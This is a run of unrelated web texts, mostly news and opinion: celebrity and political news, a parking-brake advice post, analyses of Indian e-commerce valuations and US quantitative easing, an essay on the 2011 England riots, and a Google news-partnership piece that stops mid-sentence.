direct sunlight. Theses sunglasses are made from plastic and will most likely break after a while, so you may want to purchase a higher quality pair of bottle opener sunglasses such as these that are made out of Titanium, which a meteor could smash into with the power of a thousand suns and they would still not even be scratched. But we all know you are a cheap bastard and will just purchase the plastic pair. The sunglasses bottle opener has a plastic frame, with plastic lenses, and measures 6.2 inches x 2.6 inches x 1.2 inches. -We're sad to report that 'The Bachelor' and 'Bachelor Pad' alum Gia Allemand is dead, according to a report from TMZ . It's unclear what the cause of death was for the model and reality star, but she was on life support and in critical condition in a hospital since Monday (Aug. 12). "Gia Allemand was taken to University Hospital, New Orleans last night following a serious emergency medical event, the details of which are currently not known," her rep said when news of Allemand's hospitalization broke. "She is listed in critical condition." "Ms. Allemand’s mother is with her, along with her long-term boyfriend, NBA basketball player Ryan Anderson of the New Orleans Pelicans. On behalf of the family, we kindly ask for privacy at this time." Allemand was 29 years old. Our thoughts are with her loved ones during this difficult time. UPDATE: Gia Allemand has committed suicide. More details here . -Mitt Romney has endorsed Tea Party favorite Christine O’Donnell after her upset win in last night’s GOP Senate primary in Delaware.“Now is the time for Republicans to rally behind their nominee, Christine O’Donnell. She ran an impressive campaign. I believe it is important we support her so we can win back the U.S. Senate this fall,” Romney said in a statement released through his Free & Strong America PAC. The PAC is sending her a $5,000 contribution. O’Donnell’s win has been met with ambivalence from the party establishment. NRSC chairman Sen. John Cornyn (R-TX) announced today that the committee is sending her $42,000, after much talk last night that it would give up on the race. Meanwhile, conservatives have been pummeling Karl Rove for saying that the general election in Delaware “is not a race we’re going to be able to win.” The latest PPP poll shows Democrat Chris Coons leading O’Donnell 50-34. -SANTA CRUZ – Rescuers retrieved a naked man’s tattooed body from immense surf off Mitchell’s Cove Beach near Merced Avenue about 4 p.m. Wednesday. A rescue swimmer helped to retrieve the body. Sgt. Chris Clark of Santa Cruz County Sheriff’s Office said responders found the man in the surf line and investigators have been able to identify the body but are working to notify relatives before releasing that information. The man had large tattoos on his torso and his body was visible from West Cliff Drive until responders covered it. Rescuers also used a personal watercraft to retrieve the body. He anticipated release of the man’s identity Thursday morning. “Our coroner’s unit responded,” Clark said. “An autopsy will be done.” He also said it was Santa Cruz Police Department’s investigation. He deferred to them questions about whether foul play was apparent. Santa Cruz Police Department spokeswoman Joyce Blaschke confirmed that agency is investigating. Santa Cruz police ask anyone with information to call investigations at 831-420-5820, the anonymous tip line at 831-420-5995 or leave a tip at santacruzpolice.com or the mobile application at m.santacruzpolice.com. -Tardis is correct. Your brake is not working properly and needs to be fixed. Every car I have ever owned has been able to completely lock the rear tires by applying the parking/emergency brake. This is how it ought to be. If you pull the handle all the way up, the tires should be totally unable to turn. Period. They should skid on the pavement before turning. When you performed your test and pulled the parking brake at 25MPH on a flat road, there should have been people running out of their houses to see the squealing tires and burned rubber. Granted, you need to really man-handle that thing to get the wheels to lock. But if you reach the end of the handle’s range of motion and those rear wheels are still turning, that is a problem and should be fixed. There’s clearly a widespread myth out there that this brake is somehow only supposed to be used when the car is already parked. Yes, you’d normally never ever use this brake to actually stop the car, and yes, you primarily use it to hold the car in position while it is parked. But think about it, if it doesn’t bring the car to a stop while it is moving, then how can it possibly have enough holding power to keep the car from rolling down a hill? Simple answer: It doesn’t! Lots of peoples’ parking/emergency brake is in poor repair because of several factors: 1) Steel cables are used to operate the parking brake, instead of hydraulic lines. Steel will stretch and rust over time, giving you less effective braking power. 2) Rear drums have an auto-adjuster which is supposed to keep the pads near the drum surface. But this auto-adjuster can freeze and no longer extend the pad to make up for wear. 3) Automatic transmissions with a prawl on the output shaft have made many think that the parking brake is redundant. (which is true to some extent, but does not eliminate the need) So, yeah - take your car into a shop and have them tighten up the cable. As long as other stuff is in good repair this should be a simple fix. -On March 18, one of India’s most celebrated startups received a huge blow. Alibaba Group Holding, promoted by Jack Ma, China’s third-richest man, backed off from buying a stake in Snapdeal, one of India’s largest online marketplaces. This would have been the Chinese e-commerce giant’s first direct investment in India. The deal stalled after Snapdeal apparently sought a valuation of between $6 billion and $7 billion (Rs37,500 crore-Rs43,800 crore) while Alibaba was looking at valuing the company at under $5 billion (Rs31,200 crore). The breakdown in negotiations has raised questions about the huge valuations of India’s e-commerce giants—essentially, are these massive numbers justified and sustainable? Alongside that, there is an even bigger question: Why exactly are investors still drawn to these firms? “Of recent, the valuation game has turned into a ‘black magic art’ more than a science,” Ravi Gururaj, chairman of India’s National Association of Software and Services Companies (Nasscom) product council, told Quartz. Nasscom is a trade association representing the Indian software industry. Founders and investors, felt Gururaj, are rationalising and defending these extraordinary valuations by arguing that they see some exceptional promise in these startups. “The more grounded among us read that as ample evidence of a frothy bubble-like environment,” he said. High, higher, highest In all, the Indian startup sector received more than $5 billion (Rs25,000 crore) in funding in 2014, compared to $1.6 billion (Rs10,000 crore) in 2013 and $760 million (Rs4,755 crore) in 2012. Of this, in 2014, Flipkart raised some $1.9 billion(Rs11,900 crore), while Snapdeal found about $1 billion (Rs6,257 crore) in funding, including a deal with SoftBank for $627 million. And most of this money came from a few big investors including Accel Partners, Tiger Global, SoftBank and Helion Venture Partners. Now, as these firms head out to raise even more money, valuations are going through the roof. Flipkart, for instance, is valued at about $11 billion, and Snapdeal could be at least worth $5 billion. Together, these two online shopping firms are now valued much, much higher than the total market capitalisation of India’s major brick-and-mortar retailers, which have dozens or even hundreds of physical shops. The phenomenal valuations for India’s e-commerce companies are based on the premise that Asia’s third-largest economy presents a vast opportunity for online retailers. Economic growth looks to be back, the country’s middle-class is steadily expanding and, powered by a smartphone revolution, the number of internet users is skyrocketing. “The e-commerce sector has created new markets, and since many of these are addressing a large untapped potential, investors think they can grow at a rapid pace,” Ashish Basil, partner at consulting firm EY, told Quartz. Some argue that offline retailers in India do not have the bandwidth to expand as much—and as quickly—as online retailers. And this in itself is a huge opportunity for online companies to reach areas that modern retailers cannot. Brick-and-mortar retail chains have also been facing stiff competition from the local kirana, or mom-and-pop stores, especially in the hinterland. “Due to fragmentation, infrastructure challenges and high real estate costs, offline retail will never be able to achieve the scale that e-commerce can,” explained Sandeep Murthy, a partner at Lightbox Ventures, an early stage venture capital fund. ”Entrepreneurs and investors have recognised this and believe that they are playing in a game with a massive prize for the winner.” Investor trap Still, the prospects of a massive, unexplored marketplace doesn’t quite explain the hyper valuations that Indian e-commerce companies are landing. After all, India’s e-tail channels are forecast to account for about 10% of the overall retail market in 2025. “I frankly do not understand the basis of these valuations,” Arvind Singhal, chairman of Technopak, a retail consultancy, said last year. ”It defies logic. Looking at potential is fine, but valuations have to be sane.” There are two big reasons for this seeming insanity. One, investors are lining up before e-commerce firms influenced by their competitors; and two, fundamental problems in the business models of these companies are being overshadowed as the industry blindly chases growth. “Investors tend to behave like a herd and since e-commerce is the flavour of the day, many investors are rushing there,” Santosh Kanekar, an independent consultant who advises financial firms on investing in Indian companies, said last year. Most of the e-commerce valuations in India, argued Kanekar, are driven by investor demand rather than by a significant improvement in the e-tailer’s financial performance. ”The reality is that there’s a lot of froth in the global M&A (mergers and acquisitions) market in general, and emerging markets, particularly India, are no different,” he said. And he isn’t alone. “Nobody looks at the fundamentals of valuations anymore,” Karthik Reddy, managing partner of Blume Ventures, a venture capital firm, told Quartz. “Three or four big players have emerged in India and most of the other startups now feed off that eco-system. But there is an inflexion point that is going to come soon.” Where’s the money? Although these are early days for a fast-growing industry, the combined losses of India’s e-tailing companies now stand at almost (pdf) Rs1,000 crore. Much of this is because of the discounting strategies that these firms use to lure consumers. These discounts—along with massive advertising and marketing campaigns—are bank-rolled by the investors, who are now beginning to worry. Since the last year, there is growing pressure on Indian e-commerce companies to to cut down on discounts—and concentrate on making profits. But this isn’t going to be easy. “E-commerce has not reached a stable level where it can become sustainable by itself,” Praveen Sinha, founder of Jabong, an online fashion retailer, said earlier this month. ”So, if the whole margin is 10% and the market operates at 15% discount, e-commerce companies can never become profitable.” In the past, industry observers like venture capitalist Mahesh Murthy had also publicly expressed their disapproval about the business models. “I don’t hate Flipkart,” Murthy wrote in 2013. ”I just don’t think it’s the right way to build a business. My preference is always for a new business to start with a clear, sustainable competitive benefit to consumers, differentiate sharply, grow organically from the ground up, take money if needed to grow—not survive, and build a real business, that makes more money than it spends.” Murthy is not the only one to complain about the business models of Indian e-commerce companies. “If a company is losing money on every transaction, then the business model is not sustainable,” Devangshu Dutta, chief executive of Third Eyesight, a retail consulting firm, told Quartz. And it doesn’t help that companies aren’t putting out strong statements on their business models, Dutta added, because there is a need to bolster confidence about these business eventually turning profitable. Perception and sentiment aside, India’s e-commerce firms have to stop bleeding money for other reasons. In the next five years, the industry will need to spend anywhere between $950 million and $1.9 billion on logistics and warehousing as it expands. Sure, that isn’t a lot of money compared to what the likes of Flipkart and Snapdeal are being able raise currently, but the fight for funds is also likely to get tougher. By 2020, India’s tech startup ecosystem will have some 11,000 firms, more than three times the current number. The focus, therefore, needs to shift from rapid expansion and capturing market share to building a sustainable businesses. And while that may take some time, for now everybody seems happy about the massive amounts of money pouring into India’s e-commerce industry. -Remember when a bunch of weirdos remade Alejandro Jodorowsky's acid head classic The Holy Mountain entirely with footage of dogs? This Japanese remake of The Life of Pablo is kind of like that, if said weirdos had thrown away the screenplay and built a robotic chihuahua from scratch and programmed it to improvise entire Murakami novels, Google translated to Icelandic and then translated back, in the dead of night. Japanese producer TOYOMU, frustrated by the lack of Pablo in Japan due to the unavailability of streaming services like TIDAL and Spotify, took matters into his own hands and just straight up remade it himself—without hearing it first. In 印象III : なんとなく、パブロ (Imagining The Life of Pablo), TOYOMU uses sample credits from WhoSampled and lyrics from Genius to recreate a supremely Dali-esque version of Pablo, in which a robotic voice insists Taylor Swift would have sex with it and "I Love Kanye" becomes "I still love K.A.N.Y.E." recited entirely in Japanese. The Pablo-deprived producer also demonstrates a very wry grasp of American pop culture by replacing "FML" with "BTI (Break The Internet)" and "No More Parties in LA" with "nikeezy." The kids will try to tell you it's vaporwave, but it's not. And by the way, TOYOMU still hasn't heard Pablo, even though it's now out on Apple Music. "I haven't listened yet, this is no reason and meanings," he told Pigeons and Planes. "It's just a kind of feeling." Yeah. Sure. Same. Listen to this beautiful dark twisted fantasy of a remake below: [h/t Dazed -Senate Majority Leader Mitch McConnell, following the lead of President Trump, has now threatened recalcitrant Republicans who oppose health care legislation offered by the GOP to replace Obamacare. Speaking to the Associated Press, McConnell warned, "I would hate to be a Republican whose vote prevented us from keeping the commitment we've made to the American people for almost 10 years now" to repeal and replace Obamacare. He added, "I think the American people would be deeply disappointed that we were prevented from keeping our commitment by Republicans who in the end, in effect, voted for the status quo." He said unctuously, "I'm optimistic that none of my members in the end want to be responsible for the status quo on Obamacare." McConnell admitted that once the legislation passed in the House, the Senate would change the bill, as he doesn’t have the requisite votes to pass the bill as it stands. McConnell cited Trump’s support for the GOP replacement bill, asserting, "The president has been very effective in helping in the House with the health care bill. And we intend, once it comes over from the House, to have the president weigh in with our folks as well." My, how times have changed. Remember McConnell in 2011? Here’s how he sounded then while speaking of Obamacare: "The importance of a repeal vote becomes more evident every day. Americans view it as an important decision point – a marker that shows we're serious about a return to limited government. On that point, it should be clear where Republicans stand. Every one of us voted against the bill. Every one of us voted for repeal after that. And this week, every Republican reaffirmed his or her commitment to doing it again." As late as 2014, when the GOP won back the Senate, McConnell stated, “We certainly will have a vote on proceeding to a bill to repeal Obamacare. … It was a very large issue in the campaign. We’re certainly gonna keep our commitment to the American people to make every effort we can to repeal it.” Then he backed off a little: “It is a statement to the obvious, however, that Obama — of Obamacare — is the president of the United States, so I don’t want people to have [unrealistic] expectations about what may actually become law with Obama — of Obamacare — in the White House. But we intend to keep our commitment to the American people.” "I would hate to be a Republican whose vote prevented us from keeping the commitment we've made to the American people for almost 10 years now ..." Mitch McConnell Some Republican senators who oppose the bill include Rand Paul of Kentucky and Mike Lee of Utah. Since the Senate is split 52-48, McConnell has to strong-arm senators for the bill to pass. -In 1967 Martin Luther King gave a speech called The Other America in which he set out the reason for riots. King argued that riots do not develop out of thin air but are caused by certain “intolerable social conditions”. In the final analysis, he said, disorder is a consequence not only of irresponsibility, but inequality. In some ways that explains the 2011 riots in England too. At the time I called them an “uprising of the working class” and I stick to that assessment today. The riots were brought about not only by irresponsibility, but also inequality: by a sense of revulsion at denied opportunity, poverty and injustice. England is one of the richest countries on earth, but it is also one of the most polarised. I was one of the London rioters. In 2011 we didn’t know how to express our anger | Bryn Phillips Read more Away from the towers that soar above the City of London, there is another England. It is an ugly place. In this England, a million young people have their hopes blasted every day. In this England, thousands of work-starved youngsters search for jobs that do not exist. In this England, legions of kids find themselves crowded into sink estates that tower over streets absent of power and absent of hope. They are the England left behind by globalisation. And they are the England who, in 2011, took to the streets and smashed up their neighbourhoods. Take a look at most riots in the 20th century: the one underlying similarity is unemployment and poverty among people who are keenly aware of the sharp inequality between themselves and their country’s wealthy elite. Distracted by the flames and the looting, many of us easily forgot that riots are almost always protests against social conditions that have become intolerable. In the panic of 2011, however, the majority of us swept any rational explanation of the disorder under the carpet and swallowed up simplistic lies. Consumerism. Greed. New tracksuits. New trainers. We missed an opportunity to do something constructive about the great social crisis of our time. Facebook Twitter Pinterest A building burns in Tottenham, north London, during the 2011 riots. Photograph: Lewis Whyld/PA When recklessness and greed shattered the economy in 2008, young people were destroyed. Those aged between 18 and 24 have accounted for almost 30% of the total rise in the unemployment rate brought about by the “great recession”. As a consequence, by the time 2011 arrived the UK was marked by the most unequal distribution of wealth and income since the 1930s. Inequality, unemployment, and absolute powerlessness had become the dominant issues facing England’s young. As millions were slashed from youth services, troubled experts started making stark predictions, falling over themselves to warn how Britain’s young people were in danger of becoming a “lost generation”. The Police Federation summoned the home secretary, Theresa May, to conference and warned her to prepare for unrest. From the beginning of the financial crisis, we lost businesses and banks, and it seemed we were losing an entire generation. So when disorder fired up in Tottenham, north London, that summer, no one should have been surprised when that “Other England” rose up in revolt. Oliver Letwin’s memo on race is not ancient history. It’s current Tory policy | Joseph Harker Read more The argument is certainly not that material hardship necessarily leads to unruly behaviour. The vast majority of youngsters affected by the crisis behaved like responsible citizens and stayed at home when trouble flared. But since we know that inequality and resentment against the authorities are always factors in a riot, why should it have been any different this time around? The prizewinning Reading The Riots report, put together by the Guardian, supports this idea – that most people who took part in 2011’s disorder were part of this “lost generation” of the young: kids from the poorest families, from the most hopeless places. The Other England. Britons today remain beset by complex, intractable problems: technological change displaces workers; globalisation destabilises communities; family structures are disintegrating. But for the young there is all this and worse. Ostensibly, the youth unemployment rate has improved since 2011, but in reality it is nowhere near pre-crisis levels and stagnates at a staggering 18% – more than three times the rate for adults. Social mobility for the young has ground to a halt. The housing crisis singles out young adults for extra punishment. Young people’s faith in politics has evaporated. The government, they say, is in the pocket of the rich. The economy, they say, is rigged. It seems eminently reasonable to ask the question: how long before it all kicks off again? Far from disappearing, the ranks of that ugly Other England, where the riots have their roots, have been swelling. With inequality spiralling out of control and more than a million 16- to 24-year-olds with neither work nor full-time education, the economic exclusion of the young is a crisis that policymakers can no longer afford to ignore. Instead of carrying the miserable burden of mass unemployment, instead of watching the crumbling of our education system, instead of allowing our society to become diminished by the violence and dishonesty of crime, we must start to put our energies into building strong communities capable of providing security and prosperity for every citizen. In the aftermath of 2011 we had a chance to put our heads together, to use the riots to help think of ways to repair our world. How maddening that we chose to put our heads in the sand. -Home Ponytail Ponytail Narrow Results Ponytail is a human-grade horse grooming collection inspired by a passion for horses and an appreciation of timeless equestrian style. A line of products formulated with the highest quality of ingredients delivered in exquisite packaging. Ponytail’s unique formulations clean, soften, condition and shine; providing a range of products both horse and owner will love. Equestrians invest so much love in the care of their horses; they should have the choice to use only the most exceptional products for their equine grooming needs. Shine with Style! Ponytail is a participating sponsor of the Hollywood Charity Horse Show. 10% of Ponytail’s net proceeds will be donated. Shipping to the 48 Contiguous U.S. states Method Under $75 Over $75 Details Low Weight Economy Shipping $4.95 FREE Order arrives 7-9 business days from shipment date depending on receipt location (in the 48 states and does not include oversized items). In stock orders typically ship within 24-48 hours of the order being placed. This option is only available on orders which weigh less than 0.9 lbs. Standard $7.95 FREE Order arrives 6-7 business days from shipment date depending on receipt location (in the 48 states and does not include oversized items). In stock orders typically ship within 24-48 hours of the order being placed. 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Your e-gift card will be delivered via email within 24 hours regardless of shipping method selected. If your purchase contains other items, select the ship method you would like the remainder of your order to use and it will arrive in the identified time frame. [] [] [] Ponytail Sub-sub-category B128 Ponytail Ponytail Ponytail Production -WATCH: Patrons in a south Edmonton lounge were treated to some holiday cheer Monday, but it’s not what you might think. EDMONTON – It was an anonymous gift that had diners flabbergasted. A stranger, dining at a restaurant in south Edmonton, covered the bill for everyone in the lounge. It was lunchtime on Monday and the Moxie’s lounge was bustling. But, when patrons from about eight or nine tables went to settle their tabs, they were told an anonymous stranger already paid. “A man came up to me and I had been serving him, and he said to me, ‘is there any way to combine bills together of the entire lounge?’ I was taken off guard at first, but I did it for him,” recalls lounge server Brittany Anderson. “He did it right away. A random act of kindness and left as if nothing happened. It was impressive.” READ MORE: Random acts of Christmas kindness “One of my lounge servers went and grabbed me from the back and just said ‘could you help me out?’,” recalls Moxie’s manager Matthew Russo. “There was a man who just whispered – kept it pretty quiet – he said ‘I’d just like to pay for the lounge’s bill, if that’s possible, if we could do that.’ At first I was taken aback by it, but I was like, ‘I think we can make that happen.’ “He paid the bill and left very quietly. It was incredibly generous.” “The way he did it – very low-key – I think he made a lot of people’s day today,” added Russo. He says the bill for the eight tables was substantial. “I’ve never seen it before… in all my time working in the restaurant industry,” he says. Russo says the gesture quickly put patrons and staff alike in a good mood. “I think it’s blown everyone away. “Holiday spirit: if you didn’t have it before, you have it now.” And, if he could say one thing to the stranger who spread so much cheer? “Thank you for kind of just giving that Christmas spirit,” says Russo. “It was incredibly generous and kind and much appreciated.” Follow @Emily_Mertz -On Dec. 18, the Fed announced that in January it would start tapering its purchases of treasury bonds and mortgage-related securities by $10 billion a month, down from $85 to $75 billion per month. It also hinted that it would keep on tapering, possibly at a rate of $10 billion per meeting of the Federal Open Markets Operations Committee. The Fed also said that interest rates are unlikely to increase before the unemployment rate declines below 6.5%. The new policy mix seems to have accelerated the outflows of capital from the emerging markets (see here and here). Yet, the initial response of the domestic markets was anti-climatic. The S&P 500 ended the week at record highs. The real economy (that is, Main Street) does not seem to have taken notice of the announcement. Is that strange? People who supported quantitative easing would argue that nothing is happening because the program has been quite successful. In their minds, this is similar to what happens when, after a successful recovery from a surgery, the patient walks happily away while the physicians dismount the equipment that has kept him alive. Before coming to this conclusion, however, we must ask ourselves, what did quantitative easing do for Main Street? Did it actually help to keep the patient alive? Unless you believe in Voodoo, you will want to identify the means through which quantitative easing transmitted its possibly beneficial impact to Main Street. We can think of two ways. One is increased availability of credit. The other is lower long-term interest rates. Common sense and economic theory suggest that the two are linked. Larger amounts of credit lead to lower interest rates and lower rates lead to larger amounts of credit. On this basis, we should look only to one of the two variables. Yet, Fed distinguished between the two in its rhetoric, even if the open market operations are based on the supposition that they are linked as the Fed buys credit instruments to lower interest rates. The reason for this distinction seems to be that the Fed controls the short-term interest rates, not the long-term ones, through its conventional open market operations. When the crisis exploded, the Fed was able to lower the short-term rates to practically zero, but the long-term ones remained aloft. Quantitative easing increased the purchases well beyond what was needed to keep the short-term rates close to zero. It also aimed at reducing the long-term rates by purchasing long-term instruments in the market, including agency mortgage-backed securities ($600 billion between 2008 and 2009 and $40 billion per month since September 2012.) Thus, we can look at volumes of credit and interest rates separately. First, we can look at the volumes of credit. The next chart suggests that the help provided by quantitative easing to Main Street in this dimension must have been very scant. Most of the money created by the Fed since the September 2008 crisis through quantitative easing and otherwise has been turned into excess reserves of the banking system (excess reserves is cash that the banks can use to create credit but chose not to and instead deposited it back in the Fed). That is, the cash created by quantitative easing did not become additional credit but, instead, it became excess reserves of the banks deposited in the Fed. The next chart shows in a more dramatic way that the money created by quantitative easing has been sitting idly in the Fed. The curves plot the 12-month differences of the monetary base (the money created by the Fed) and the excess reserves of the banking system since September 2009 (12 months after the beginning of the crisis). They demonstrate that quantitative easing has worked as a merry-go-round. The Fed created the money only to see it returning as deposits of the commercial banks in the Fed itself. Thus, we have seen that the money created by quantitative easing did not go to increase credit to the private sector. It had a neutral effect because what the Fed created came back to the Fed. But, what happened to credit? Did it stay put, at the same level? The next graph shows that one major category of commercial banks’ credit increased since the crisis began: net credit to the central government (net of deposits of the government in the banks). However, total commercial banks’ credit went down substantially. By the end of the second quarter of 2013 it still had not recovered the level it had when quantitative easing began. Moreover, credit to the private sector (Main Street) declined and is still $600 billion below its level in 2008. Credit to other financial institutions also went down. Not a nice chart to see. You can argue that this chart does not portray the complete picture because banks are not the only source of credit. Right. The next chart shows that recently the financial system’s credit to the private sector did increase over the level it had at the end of June 2008 (the financial system includes the banks plus all other financial institutions, such as insurance companies). However, as shown in the next chart, the main source of this credit was not deposits but, instead, the insurance companies’ technical reserves and the financial institutions’ shares and other equities. To believe that quantitative easing helped to increase credit to the private sector you would have to believe that enormous amounts of money sitting idly in the Fed help increasing the technical reserves of insurance companies or lead to larger equity issues by financial institutions. Not very probable. Now we can look at the interest rate side of our puzzle. You can say that maybe quantitative easing worked not because the money it created became credit to the private sector but because it helped the long-term interest rates to decline and remain low. Certainly, low interest rates, even if they have not increased the volume of credit, may have had a substitution effect in the allocation of financial resources—that is, people who had invested in something not very attractive today (like housing) may have decided to move their resources to invest in equity shares. This lowered the cost of issuing shares to finance companies, including financial institutions (the price-to-earnings ratio has gone up substantially if, as suggested by Nobel laureate Robert Shiller, the earnings are estimated as the average of the last decade). This seems to have happened. The stock exchange has been in a frenzy of booms since the policies of artificially low interest rates have been applied. The low interest rates did not create new credit to Main Street but diverted resources toward the stock exchange, including the shares of financial institutions that used them to grant credit. The effectiveness of the Fed in keeping low the long-term rates seems to be waning, however. As shown in the next chart, the long-term interest rates have been increasing as of late (those of the US bonds since June 2012 and those of mortgages since February 2013) even if the short-term rates have been flat and close to zero. The mortgage rate has gone up from 3.4% to 4.5%, and the 10-year US Treasury bond rates from 1.6% to 2.9% since those dates, reversing the trend these rates had shown since the beginning of quantitative easing at the end of 2008. That was embarrassing. Quantitative easing was not able to keep the long-term interest rates low. Maybe it was time to quit before this became too obvious. But, why did the long-term interest rates increase while the short-term ones remain so low, particularly at a time when the banks are full of liquidity and could increase the supply of credit at a snap? One obvious answer is that the long-term market is expecting an increase in inflation rates. That is a good reason to stop quantitative easing, maybe better than the assertions of its complete success. Thus, perhaps nothing has happened after the Fed announced the end of quantitative easing because the program didn’t do anything except unnecessarily increase the liquidity reserves of commercial banks and help to keep the long-term interest rate low in the first few years of the program—something that recent evidence suggests it can no longer do. Of course, the fact that to this date nothing has happened does not necessarily mean that nothing will happen in the longer run. The problem will not come from the amount of money in circulation. The banks have enough excess reserves to submerge the world in currency. Yet, if the interest rates keep on increasing, and everything suggests that they will keep on doing it, many activities that have been profitable at the low interest rates will fail, and this will negatively affect the financial system. Depending on the magnitude of the adjustment, the coming event will be just financial turmoil or a full fledged financial crisis. Now, you can ask yourself, why getting into all this, risking inflation and financial turmoil just to have money parked in the Fed? Well, keeping the banks artificially liquid may be useful to keep insolvent banks artificially alive. Maybe this was the secret purpose of quantitative easing. Maybe the idea was to keep them liquid while they cleansed their bad loan and investment portfolios. However, for most of the life of the program, the monetary authorities have insisted that the banks were quite solvent. Were they? Are they? We are going to know the answers to these questions now that tapering seems to have started in earnest. The end of quantitative easing is like the end of Neverland. Only those who learned to live in the real world of free interest rates, as opposed to the fictional lands of artificially low interest rates, will survive. As Warren Buffett said, “Only when the tide goes out do you discover who’s been swimming naked.” This article is part of Quartz Ideas, our home for bold arguments and big thinkers. -The late April news was impressive and divisive: Google would spend €150 million on a new Digital News Initiative (DNI) partnership with European news publishers (“Google to launch $150 million partnership with publishers”). The amount of money caught the eye, even if it was a tiny fraction of Google’s $14.4 billion profit in 2014. Still, to newspaper publishers now counting every dime, it appeared to be a significant pot of funds. What kind of initiatives might be included in such a “partnership”? Given all the damage, most of it collateral, done to the news industry by digital disruption over many years, was there anything that could be done now to reverse the seemingly permanent spiral downward? We now have a sense of what’s on the horizon — and how significant an impact may be possible. Next week, the eight founding DNI publishers — the Financial Times, The Guardian, Italy’s La Stampa, France’s Les Echoes, Germany’s Frankfurter Allgemeine and Zeit, Spain’s El País and the Netherlands’ NRC — will meet for a couple of days with top Googlers on its Mountain View campus to form the agenda of partnership. The Guardian led the development of DNI, and departing Guardian CEO Andrew Miller made it clear what’s atop his wish list when we talked about a month ago: bettering advertising monetization. “Newsonomics: The Guardian is trying to swing Google’s pendulum back to publishers” ). That prospect should probably be Job No. 1 for the initiative; all else pales beyond the money question for publishers worldwide. “What could I do to affect this number?” says David Gehring, pointing to newspapers’ ad revenues. “There is lots of press on advertisers complaining about being able to target quality audience at scale. What we need is demand-side targeting that does that.” Gehring finds himself uniquely situated in this partnership. A veteran of almost four years with Google in international partnerships, he has been advising The Guardian on partnerships since last fall. Consequently, he carries an almost unique portfolio — someone working in the interests of publishers, but with deep and wide knowledge of how Google actually works. Gehring recognizes the organizational complexity of Google. Like any big company, its parts often align uneasily; people understandably want to get their own work done. So, with that knowledge, he believes that tinkering with Google’s plumbing could make a big difference in publishers’ moneymaking. How might it work? The proposition is simple: News publishers want to match their higher-quality news origination with higher advertising rates. That’s the “premium” term you hear slung around the industry — “premium” meaning original and trustworthy, as opposed to aggregated, lightly “curated,” or pirated. When publishers sell direct to advertisers, they sell “premium” and get rates from $8 to $50 per one thousand ad impressions (or CPM), with national/global news companies at the highest end. When they sell “programmatic” advertising, though, there’s no such thing as “premium.” Programmatic — the huge, overarching shift in ad buying — algorithmically matches available ad inventory with audiences (by age, gender, geography, and more). But it doesn’t distinguish between original content producers and the legions of repurposers out there. Top publishers may get a buck or two CPM for programmatic advertising — the same as anyone else. Programmatic, along with digital video, is the fastest growing digital ad format today. Fully 63 percent of digital display ads will be purchased programmatically this year, according to one estimate. That’s almost $15 billion worth in the U.S., with retail, consumer packaged goods, financial, and telecom leading the way. Another way to think about programmatic: It’s hard to think of much advertising buying that won’t be soon influenced by it. Any buyer of advertising will want the best data available to improve its targeting of audience and to measure the efficiency of its performance. So, to Dave Gehring’s point: What could Google do to allow advertisers to distinguish the audiences they can buy, to differentiate between premium and non-premium brands? One answer looks deceptively simple at this point. How Google could advantage real news — fairly Google maintains a news index of more than 60,000 news publishers worldwide. Google essentially acts as certifier, vetting news sources as legitimate ones, and then including them in the index. Among the attributes required, from its directions to those who want to apply: “1) Sites included in Google News should offer timely reporting on matters that are important or interesting to our audience. 2) Original reporting and honest attribution are longstanding journalistic values. If your site publishes aggregated content, you will need to separate it from your original work, or restrict our access to those aggregated articles via your robots.txt file.” (Good Frédéric Filloux Monday Note explainer here.) What if Google provided a persistent tag to be associated with any article originating with one of those 60,000 publishers? Those include thousands of legacy newspaper and magazine brands, but also the digital news startups that emphasize original content creation as well. As programmatic trading systems matched targetable content with advertisers, that apparatus could differentiate “premium” from “non-premium” audiences. Further, such premium content could still be found by category, like tech, sports, or health, increasing its value. Importantly, such tags wouldn’t only accompany articles in Google News itself, but on all news found throughout Google, including web search. No new technology would be needed to make the addition; its cost of implementation miniscule. What might it yield? The arithmetic could be compelling. Gehring estimates that publishers worldwide now take in about $480 million a year in programmatic advertising. It’s hard to estimate how much the ad tag change could boost ad rates. We can put some arithmetic to them, though. As Gehring notes, a 25 percent increase in rate could have a big impact. That would amount to $120 million. The stakes, of course, would grow markedly if the theory proves out. If ad buyers really do want the “signal” of premium content via tagging, it’s foreseeable that programmatic could grow from $1 CPM to $2. Gehring is reluctant to forecast, but my own numbers would show an additional $500 million in global programmatic income — again, if the program is successful. How much of a difference might that make? At the beginning of the year, I calculated that the U.S. newspaper industry alone would need an additional $1.4 billion in revenue per year to escape its eight-year stretch of non-growth ( “Newsonomics: How deep is the newspaper industry’s money hole?” ) A boost in programmatic income would go a long way in meeting that number. Further, that’s not money Google would need to pay news companies. It’s money advertisers pay publishers so that they can better reach the audiences they want. Numerous big publishers have built “private exchanges” over the past couple of years. These enable continued direct selling to advertisers, but add in programmatic features, allowing more efficient targeting for big advertisers at slightly reduced prices. The notion of a bigger, or collective, private exchange built on a new Google news tag system may also then make sense. Pangaea’s recent entry into the marketplace marks this kind of movement and could be expanded. This notion, in part, is one of reclaiming the publishers’ old friend: scarcity. Yes, ad inventory may be close to infinite on the web, but the high-quality premium audience is — somewhat — limited and can be priced, and sold, accordingly. Why is Google doing this now? It’s true, but facile, to note the convergence of Google’s numerous problems with European publishers and legal systems and the announcement of the Digital News Initiative. The great upswell of opposition to Google’s incredible European reach indeed pushed Google to a bargaining table. That’s not the only force at work here, though. Consider the dogfight among giants in which Google is now engaged. While it used to drive as much as a third, more or less, of many news companies’ traffic, its share is in decline. Facebook is killing it, in social referrals, as Twitter and LinkedIn pile on. While Google News has always been a so-so player in news referral, Google web search long had the biggest bark; now it’s just one of several key “partners” of news companies. It needs to reestablish its primacy. Part of that may lie in better cooperation with publishers — in the form of other plumbing, like news tools, but also in data, video, and mobile. Further, Google must continue to better its own reader experience, so it can compete better; when Facebook told the world it wanted to host news content to create a better user experience for its users, it meant it. Just since the start of the year, Google’s news competition has grown greatly, with the announcements of Facebook Instant Articles, Snapchat Discover, and Apple News. In this new world of distribution, publishers provide full content as never before, intending to reap the ad results. Google has hosted full Associated Press content, under terms of an earlier deal — is it game to do what its competitors are doing and become more of a destination for full news reading? And if so, on what terms? As Google execs meet with those European publishers in California, a logical question also arises: Given that the same issues affect all news publishers, why is it only one continent’s publishers at the table? What do publishers need and want? Some in the industry privately labeled the Digital News Initiative publishers traitors for collaborating with Google. Given the pain of disruption, that’s understandable, but also fairly useless as a response. European legal actions have raised good questions, but they won’t get the news industry reborn for the digital age. There’s a fairly unintended good cop/bad cop act taking the stage: Google nemesis Axel Springer can play the tough guy, and 